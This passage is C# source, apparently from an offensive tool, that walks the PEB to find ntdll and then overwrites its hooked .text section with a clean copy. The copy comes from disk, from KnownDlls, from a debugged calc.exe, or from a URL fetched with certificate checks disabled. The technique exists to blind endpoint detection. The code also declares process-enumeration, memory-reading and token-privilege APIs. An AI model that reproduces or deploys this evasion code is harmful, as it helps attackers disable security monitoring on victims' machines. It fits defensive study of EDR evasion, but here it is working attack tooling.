[DllImport("kernel32.dll")] 119 | public static extern bool TerminateProcess( 120 | IntPtr hProcess, 121 | uint uExitCode 122 | ); 123 | 124 | [DllImport("ntdll.dll")] public static extern uint NtOpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, ref IntPtr TokenHandle); 125 | 126 | [DllImport("ntdll.dll")] public static extern uint NtAdjustPrivilegesToken(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength); 127 | 128 | [DllImport("ntdll.dll")] public static extern uint NtClose(IntPtr hObject); 129 | 130 | [DllImport("ntdll.dll")] public static extern bool NtGetNextProcess(IntPtr handle, int MAX_ALLOWED, int param3, int param4, out IntPtr outHandle); 131 | 132 | [DllImport("ntdll.dll")] public static extern uint NtQueryVirtualMemory(IntPtr hProcess, IntPtr lpAddress, uint MemoryInformationClass, out MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength); 133 | 134 | [DllImport("ntdll.dll")] public static extern uint NtReadVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); 135 | 136 | 137 | ///////////////////// STRUCTS ///////////////////// 138 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 139 | public struct UNICODE_STRING 140 | { 141 | public ushort Length; 142 | public ushort MaximumLength; 143 | [MarshalAs(UnmanagedType.LPWStr)] public string Buffer; 144 | } 145 | 146 | [StructLayout(LayoutKind.Sequential)] 147 | public struct OBJECT_ATTRIBUTES 148 | { 149 | public uint Length; 150 | public IntPtr RootDirectory; 151 | public IntPtr ObjectName; 152 | public uint Attributes; 153 | public IntPtr SecurityDescriptor; 154 | public IntPtr SecurityQualityOfService; 155 | } 156 | 157 | [StructLayout(LayoutKind.Sequential)] 158 | public struct STARTUPINFO 159 | { 160 | public int cb; 161 | public IntPtr lpReserved; 162 | public IntPtr lpDesktop; 163 | public IntPtr lpTitle; 164 | public int dwX; 165 | public int dwY; 166 | public int dwXSize; 167 | public int dwYSize; 168 | public int dwXCountChars; 169 | public int dwYCountChars; 170 | public int dwFillAttribute; 171 | public int dwFlags; 172 | public short wShowWindow; 173 | public short cbReserved2; 174 | public IntPtr lpReserved2; 175 | public IntPtr hStdInput; 176 | public IntPtr hStdOutput; 177 | public IntPtr hStdError; 178 | } 179 | 180 | [StructLayout(LayoutKind.Sequential)] 181 | public struct PROCESS_INFORMATION 182 | { 183 | public IntPtr hProcess; 184 | public IntPtr hThread; 185 | public int dwProcessId; 186 | public int dwThreadId; 187 | } 188 | 189 | [StructLayout(LayoutKind.Sequential)] 190 | public struct OSVERSIONINFOEX 191 | { 192 | public int dwOSVersionInfoSize; 193 | public int dwMajorVersion; 194 | public int dwMinorVersion; 195 | public int dwBuildNumber; 196 | public int dwPlatformId; 197 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] 198 | public string szCSDVersion; 199 | public short wServicePackMajor; 200 | public short wServicePackMinor; 201 | public short wSuiteMask; 202 | public byte wProductType; 203 | public byte wReserved; 204 | } 205 | 206 | [StructLayout(LayoutKind.Sequential)] public struct TOKEN_PRIVILEGES { public uint PrivilegeCount; public LUID Luid; public uint Attributes; } 207 | 208 | [StructLayout(LayoutKind.Sequential)] public struct LUID { public uint LowPart; public int HighPart; } 209 | 210 | [StructLayout(LayoutKind.Sequential)] public struct MEMORY_BASIC_INFORMATION { public IntPtr BaseAddress; public IntPtr AllocationBase; public int AllocationProtect; public IntPtr RegionSize; public int State; public int Protect; public int Type; } 211 | 212 | 213 | //////////////////// CONSTANTS //////////////////// 214 | public const uint GENERIC_READ = (uint)0x80000000; // https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/262970b7-cd4a-41f4-8c4d-5a27f0092aaa 215 | public const uint FILE_SHARE_READ = 0x00000001; 216 | public const uint OPEN_EXISTING = 3; // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea 217 | public const uint FILE_ATTRIBUTE_NORMAL = (uint)0x00000080; // https://learn.microsoft.com/es-es/windows/win32/fileio/file-attribute-constants 218 | public const uint PAGE_READONLY = 0x02; // https://learn.microsoft.com/es-es/windows/win32/memory/memory-protection-constants 219 | public const uint SEC_IMAGE_NO_EXECUTE = 0x11000000; // https://learn.microsoft.com/es-es/windows/win32/api/winbase/nf-winbase-createfilemappinga 220 | public const uint FILE_MAP_READ = 4; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win 221 | public const uint PAGE_EXECUTE_WRITECOPY = 0x80; 222 | public const uint OBJ_CASE_INSENSITIVE = 0x00000040; 223 | public const int SECTION_MAP_READ = 0x0004; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win 224 | public const uint DEBUG_PROCESS = 0x00000001; 225 | public const int offset_mappeddll = 4096; 226 | public const int offset_fromdiskdll = 0x400; 227 | public const uint TOKEN_ADJUST_PRIVILEGES = 0x00000020; 228 | public const uint TOKEN_QUERY = 0x00000008; 229 | public const uint MemoryBasicInformation = 0; 230 | public const int MEM_COMMIT = 0x00001000; 231 | public const int PAGE_NOACCESS = 0x01; 232 | 233 | // Custom Classes 234 | public class ModuleInformation 235 | { 236 | public string Name; 237 | public string FullPath; 238 | public IntPtr Address; 239 | public int Size; 240 | public ModuleInformation(string name, string fullpath, IntPtr address, int size) 241 | { 242 | this.Name = name; 243 | this.FullPath = fullpath; 244 | this.Address = address; 245 | this.Size = size; 246 | } 247 | } 248 | 249 | 250 | public class MemFile 251 | { 252 | public string filename; 253 | public byte[] content; 254 | public MemFile(string filename, byte[] content) 255 | { 256 | this.filename = filename; 257 | this.content = content; 258 | } 259 | } 260 | 261 | 262 | public unsafe static IntPtr CustomGetModuleHandle(String dll_name) 263 | { 264 | uint process_basic_information_size = 48; 265 | int peb_offset = 0x8; 266 | int ldr_offset = 0x18; 267 | int inInitializationOrderModuleList_offset = 0x30; 268 | int flink_dllbase_offset = 0x20; 269 | int flink_buffer_offset = 0x50; 270 | 271 | // Get current process handle 272 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; 273 | 274 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure 275 | byte[] pbi_byte_array = new byte[process_basic_information_size]; 276 | 277 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array 278 | IntPtr pbi_addr = IntPtr.Zero; 279 | fixed (byte* p = pbi_byte_array) 280 | { 281 | pbi_addr = (IntPtr)p; 282 | NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out _); 283 | } 284 | 285 | // Get PEB Base Address 286 | IntPtr peb_pointer = pbi_addr + peb_offset; 287 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer); 288 | 289 | // Get Ldr 290 | IntPtr ldr_pointer = pebaddress + ldr_offset; 291 | IntPtr ldr_adress = Marshal.ReadIntPtr(ldr_pointer); 292 | 293 | // Get InInitializationOrderModuleList (LIST_ENTRY) inside _PEB_LDR_DATA struct 294 | IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset; 295 | 296 | IntPtr next_flink = Marshal.ReadIntPtr(InInitializationOrderModuleList); 297 | IntPtr dll_base = (IntPtr)1337; 298 | while (dll_base != IntPtr.Zero) 299 | { 300 | next_flink = next_flink - 0x10; 301 | // Get DLL base address 302 | dll_base = Marshal.ReadIntPtr(next_flink + flink_dllbase_offset); 303 | IntPtr buffer = Marshal.ReadIntPtr(next_flink + flink_buffer_offset); 304 | 305 | // Get DLL name from buffer address 306 | String char_aux = null; 307 | String base_dll_name = ""; 308 | while (char_aux != "") 309 | { 310 | char_aux = Marshal.PtrToStringAnsi(buffer); 311 | buffer += 2; 312 | base_dll_name += char_aux; 313 | } 314 | next_flink = Marshal.ReadIntPtr(next_flink + 0x10); 315 | 316 | // Compare with DLL name we are searching 317 | if (dll_name.ToLower() == base_dll_name.ToLower()) 318 | { 319 | return dll_base; 320 | } 321 | } 322 | 323 | return IntPtr.Zero; 324 | } 325 | 326 | 327 | // Map ntdl.dll from the file in disk and return view address 328 | public static IntPtr MapNtdllFromDisk(string ntdll_path) 329 | { 330 | IntPtr hFile = CreateFileA(ntdll_path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 331 | 332 | // CreateFileA 333 | if (hFile == IntPtr.Zero) 334 | { 335 | Console.WriteLine("[-] Error calling CreateFileA"); 336 | Environment.Exit(0); 337 | } 338 | 339 | // CreateFileMappingA 340 | IntPtr hSection = CreateFileMappingA(hFile, 0, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, 0, 0, ""); 341 | if (hSection == IntPtr.Zero) 342 | { 343 | Console.WriteLine("[-] Error calling CreateFileMappingA"); 344 | Environment.Exit(0); 345 | } 346 | 347 | // MapViewOfFile 348 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0); 349 | if (pNtdllBuffer == IntPtr.Zero) 350 | { 351 | Console.WriteLine("[-] Error calling MapViewOfFile"); 352 | Environment.Exit(0); 353 | } 354 | 355 | // CloseHandle 356 | bool createfile_ch = CloseHandle(hFile); 357 | bool createfilemapping_ch = CloseHandle(hSection); 358 | if (!createfile_ch || !createfilemapping_ch) 359 | { 360 | Console.WriteLine("[-] Error calling CloseHandle"); 361 | Environment.Exit(0); 362 | } 363 | return pNtdllBuffer; 364 | } 365 | 366 | 367 | // Map ntdl.dll from the file in KnownDlls folder and return view address 368 | public static IntPtr MapNtdllFromKnownDlls() 369 | { 370 | // Initialize OBJECT_ATTRIBUTES struct 371 | string dll_name = "\\KnownDlls\\ntdll.dll"; 372 | 373 | // If 32-bit process the path changes 374 | if (IntPtr.Size == 4) 375 | { 376 | dll_name = "\\KnownDlls32\\ntdll.dll"; 377 | } 378 | OBJECT_ATTRIBUTES object_attribute = InitializeObjectAttributes(dll_name, OBJ_CASE_INSENSITIVE); 379 | 380 | // NtOpenSection 381 | IntPtr hSection = IntPtr.Zero; 382 | uint NtStatus = NtOpenSection(ref hSection, SECTION_MAP_READ, ref object_attribute); 383 | if (NtStatus != 0) 384 | { 385 | Console.WriteLine("[-] Error calling NtOpenSection. NTSTATUS: " + NtStatus.ToString("X")); 386 | Environment.Exit(0); 387 | } 388 | 389 | // MapViewOfFile 390 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, SECTION_MAP_READ, 0, 0, 0); 391 | if (pNtdllBuffer == IntPtr.Zero) 392 | { 393 | Console.WriteLine("[-] Error calling MapViewOfFile"); 394 | Environment.Exit(0); 395 | } 396 | 397 | // CloseHandle 398 | bool createfilemapping_ch = CloseHandle(hSection); 399 | if (!createfilemapping_ch) 400 | { 401 | Console.WriteLine("[-] Error calling CloseHandle"); 402 | Environment.Exit(0); 403 | } 404 | 405 | return pNtdllBuffer; 406 | } 407 | 408 | 409 | public static int[] GetTextSectionInfo(IntPtr ntdl_address) 410 | { 411 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; 412 | 413 | // Check MZ Signature 414 | byte[] data = new byte[2]; 415 | IntPtr signature_addr = ntdl_address; 416 | ReadProcessMemory(hProcess, signature_addr, data, data.Length, out _); 417 | string signature_dos_header = System.Text.Encoding.Default.GetString(data); 418 | if (signature_dos_header != "MZ") 419 | { 420 | Console.WriteLine("[-] Incorrect DOS header signature"); 421 | Environment.Exit(0); 422 | } 423 | 424 | // e_lfanew in offset 0x3C in _IMAGE_DOS_HEADER structure, its size is 4 bytes 425 | data = new byte[4]; 426 | IntPtr e_lfanew_addr = ntdl_address + 0x3C; 427 | ReadProcessMemory(hProcess, e_lfanew_addr, data, 4, out _); 428 | int e_lfanew = BitConverter.ToInt32(data, 0); 429 | 430 | // Check PE Signature 431 | IntPtr image_nt_headers_addr = ntdl_address + e_lfanew; 432 | data = new byte[2]; 433 | ReadProcessMemory(hProcess, image_nt_headers_addr, data, data.Length, out _); 434 | string signature_nt_header = System.Text.Encoding.Default.GetString(data); 435 | if (signature_nt_header != "PE") 436 | { 437 | Console.WriteLine("[-] Incorrect NT header signature"); 438 | Environment.Exit(0); 439 | } 440 | 441 | // Check Optional Headers Magic field value 442 | IntPtr optional_headers_addr = image_nt_headers_addr + 24; // Marshal.SizeOf(typeof(UInt32)) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) = 24 443 | data = new byte[4]; 444 | ReadProcessMemory(hProcess, optional_headers_addr, data, data.Length, out _); 445 | int optional_header_magic = BitConverter.ToInt16(data, 0); 446 | if (optional_header_magic != 0x20B && optional_header_magic != 0x10B) 447 | { 448 | Console.WriteLine("[-] Incorrect Optional Header Magic field value"); 449 | Environment.Exit(0); 450 | } 451 | 452 | // SizeOfCode 453 | IntPtr sizeofcode_addr = optional_headers_addr + 4; // Uint16 (2 bytes) + Byte (1 byte) + Byte (1 byte) 454 | data = new byte[4]; 455 | ReadProcessMemory(hProcess, sizeofcode_addr, data, data.Length, out _); 456 | int sizeofcode = BitConverter.ToInt32(data, 0); 457 | 458 | // BaseOfCode 459 | IntPtr baseofcode_addr = optional_headers_addr + 20; // Uint16 (2 bytes) + 2 Byte (1 byte) + 4 Uint32 (4 byte) - public UInt16 Magic; public Byte MajorLinkerVersion; public Byte MinorLinkerVersion; public UInt32 SizeOfCode; public UInt32 SizeOfInitializedData; public UInt32 SizeOfUninitializedData; public UInt32 AddressOfEntryPoint; public UInt32 BaseOfCode; 460 | data = new byte[4]; 461 | ReadProcessMemory(hProcess, baseofcode_addr, data, data.Length, out _); 462 | int baseofcode = BitConverter.ToInt32(data, 0); 463 | 464 | int[] result = { baseofcode, sizeofcode }; 465 | return result; 466 | } 467 | 468 | 469 | // Create debug process, map its ntdl.dll .text section and copy it to a new buffer, return the buffer address 470 | public unsafe static IntPtr GetNtdllFromDebugProc(string process_path) 471 | { 472 | // CreateProcess in DEBUG mode 473 | STARTUPINFO si = new STARTUPINFO(); 474 | si.cb = System.Runtime.InteropServices.Marshal.SizeOf(si); 475 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 476 | bool createprocess_res = CreateProcess(process_path, null, IntPtr.Zero, IntPtr.Zero, false, DEBUG_PROCESS, IntPtr.Zero, null, ref si, out pi); 477 | if (!createprocess_res) 478 | { 479 | Console.WriteLine("[-] Error calling CreateProcess"); 480 | Environment.Exit(0); 481 | } 482 | 483 | // Ntdll .Text Section Address and Size from local process 484 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll"); 485 | int[] result = GetTextSectionInfo(localNtdllHandle); 486 | int localNtdllTxtBase = result[0]; 487 | int localNtdllTxtSize = result[1]; 488 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase; 489 | 490 | // ReadProcessMemory to copy the bytes from ntdll.dll in the suspended process into a new buffer (ntdllBuffer) 491 | // debugged_process ntdll_handle = local ntdll_handle --> debugged_process .text section ntdll_handle = local .text section ntdll_handle 492 | byte[] ntdllBuffer = new byte[localNtdllTxtSize]; 493 | uint readprocmem_res = ReadProcessMemory(pi.hProcess, localNtdllTxt, ntdllBuffer, ntdllBuffer.Length, out _); 494 | if (readprocmem_res == 0) 495 | { 496 | Console.WriteLine("[-] Error calling ReadProcessMemory"); 497 | Environment.Exit(0); 498 | } 499 | 500 | // Get pointer to the buffer containing ntdll.dll 501 | IntPtr pNtdllBuffer = IntPtr.Zero; 502 | fixed (byte* p = ntdllBuffer) 503 | { 504 | pNtdllBuffer = (IntPtr)p; 505 | } 506 | 507 | // Terminate and close handles in debug process 508 | bool debugstop_res = DebugActiveProcessStop(pi.dwProcessId); 509 | bool terminateproc_res = TerminateProcess(pi.hProcess, 0); 510 | if (debugstop_res == false || terminateproc_res == false) 511 | { 512 | Console.WriteLine("[-] Error calling DebugActiveProcessStop or TerminateProcess"); 513 | Environment.Exit(0); 514 | } 515 | bool closehandle_proc = CloseHandle(pi.hProcess); 516 | bool closehandle_thread = CloseHandle(pi.hThread); 517 | if (!closehandle_proc || !closehandle_thread) 518 | { 519 | Console.WriteLine("[-] Error calling CloseHandle"); 520 | Environment.Exit(0); 521 | } 522 | 523 | return pNtdllBuffer; 524 | } 525 | 526 | 527 | // Overwrite hooked ntdll .text section with a clean version 528 | static void ReplaceNtdllTxtSection(IntPtr unhookedNtdllTxt, IntPtr localNtdllTxt, int localNtdllTxtSize) 529 | { 530 | // VirtualProtect to PAGE_EXECUTE_WRITECOPY 531 | uint dwOldProtection; 532 | bool vp1_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, out dwOldProtection); 533 | if (!vp1_res) 534 | { 535 | Console.WriteLine("[-] Error calling VirtualProtect (PAGE_EXECUTE_WRITECOPY)"); 536 | Environment.Exit(0); 537 | } 538 | 539 | // Copy from one address to the other 540 | unsafe 541 | { 542 | Buffer.MemoryCopy((void*)unhookedNtdllTxt, (void*)localNtdllTxt, localNtdllTxtSize, localNtdllTxtSize); 543 | } 544 | 545 | // VirtualProtect back to PAGE_EXECUTE_READ 546 | bool vp2_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, dwOldProtection, out dwOldProtection); 547 | if (!vp2_res) 548 | { 549 | Console.WriteLine("[-] Error calling VirtualProtect (dwOldProtection)"); 550 | Environment.Exit(0); 551 | } 552 | } 553 | 554 | 555 | public unsafe static IntPtr GetNtdllFromFromUrl(string dll_url) 556 | { 557 | Console.WriteLine("[+] Getting payload from url: " + dll_url); 558 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 559 | System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12; 560 | byte[] buf; 561 | using (System.Net.WebClient myWebClient = new System.Net.WebClient()) 562 | { 563 | try 564 | { 565 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 566 | buf = myWebClient.DownloadData(dll_url); 567 | fixed (byte* p = buf) 568 | { 569 | IntPtr ptr = (IntPtr)p; 570 | return ptr; 571 | } 572 | } 573 | catch (Exception ex) 574 | { 575 | Console.WriteLine(ex.ToString()); 576 | Environment.Exit(0); 577 | } 578 | } 579 | return IntPtr.Zero; 580 | } 581 | 582 | 583 | public static void ReplaceLibrary(string option, string wildcard_field) 584 | { 585 | // Clean DLL 586 | IntPtr unhookedNtdllTxt = IntPtr.Zero; 587 | switch (option) 588 | { 589 | // From file in disk 590 | case "disk": 591 | if (wildcard_field == "") { 592 | wildcard_field = "C:\\Windows\\System32\\ntdll.dll"; 593 | } 594 | IntPtr unhookedNtdllHandle = MapNtdllFromDisk(wildcard_field); 595 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll; 596 | break; 597 | 598 | // From KnownDlls folder 599 | case "knowndlls": 600 | unhookedNtdllHandle = MapNtdllFromKnownDlls(); 601 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll; 602 | break; 603 | 604 | // From a process created in DEBUG mode 605 | case "debugproc": 606 | if (wildcard_field == "") 607 | { 608 | wildcard_field = "c:\\windows\\system32\\calc.exe"; 609 | } 610 | unhookedNtdllTxt = GetNtdllFromDebugProc(wildcard_field); 611 | break; 612 | 613 | // From a process created in DEBUG mode 614 | case "download": 615 | if (wildcard_field == "") 616 | { 617 | wildcard_field = "http://127.0.0.1/ntdll.dll"; 618 | } 619 | unhookedNtdllHandle = GetNtdllFromFromUrl(wildcard_field); 620 | unhookedNtdllTxt = unhookedNtdllHandle + offset_fromdiskdll; 621 | break; 622 | 623 | // Default: Show usage message 624 | default: 625 | return; 626 | } 627 | 628 | // Local DLL 629 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll"); 630 | int[] result = GetTextSectionInfo(localNtdllHandle); 631 | int localNtdllTxtBase = result[0]; 632 | int localNtdllTxtSize = result[1]; 633 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase; 634 | 635 | // Replace DLL 636 | Console.WriteLine("[+] Copying " + localNtdllTxtSize + " bytes from 0x" + unhookedNtdllTxt.ToString("X") + " to 0x" + localNtdllTxt.ToString("X")); 637 | ReplaceNtdllTxtSection(unhookedNtdllTxt, localNtdllTxt, localNtdllTxtSize); 638 | } 639 | } 640 | } 641 | --------------------------------------------------------------------------------